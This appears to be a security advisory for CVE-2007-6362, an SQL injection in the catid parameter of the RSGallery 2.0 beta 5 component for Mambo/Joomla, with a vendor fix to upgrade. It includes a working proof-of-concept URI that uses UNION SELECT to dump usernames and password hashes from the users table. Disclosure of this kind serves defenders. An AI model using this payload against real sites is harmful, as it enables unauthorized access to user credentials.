Mambo/Joomla! RSGallery CATID Parameter SQL Injection Vulnerability

Bugtraq ID:	26704
Class:	Input Validation Error
CVE:	CVE-2007-6362
Remote:	Yes
Local:	No
Published:	Dec 05 2007 12:00AM
Updated:	May 07 2015 05:35PM
Credit:	K-159 is credited with the discovery of this vulnerability.
Vulnerable:	RSGallery2 RsGallery 2.0 beta 5
Not Vulnerable:	RSGallery2 RsGallery2 1.14.3 RSGallery2 RsGallery2 1.11.2

Mambo/Joomla! RSGallery CATID Parameter SQL Injection Vulnerability

Mambo/Joomla! RSGallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

RSGallery 2.0 beta 5 is vulnerable; other versions may also be affected.

Mambo/Joomla! RSGallery CATID Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/index.php?option=com_rsgallery&page=inline&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users--

Mambo/Joomla! RSGallery CATID Parameter SQL Injection Vulnerability

Solution:
The vendor states that the reported version of RSGallery 2.0 beta 5 was released in 2005 and is no longer supported. Recent versions are not affected by this issue. Users are advised to upgrade to RSGallery2 1.14.3 or later. Please see the references for more information.

Mambo/Joomla! RSGallery CATID Parameter SQL Injection Vulnerability

References:

• Vendor Homepage (RSGallery2)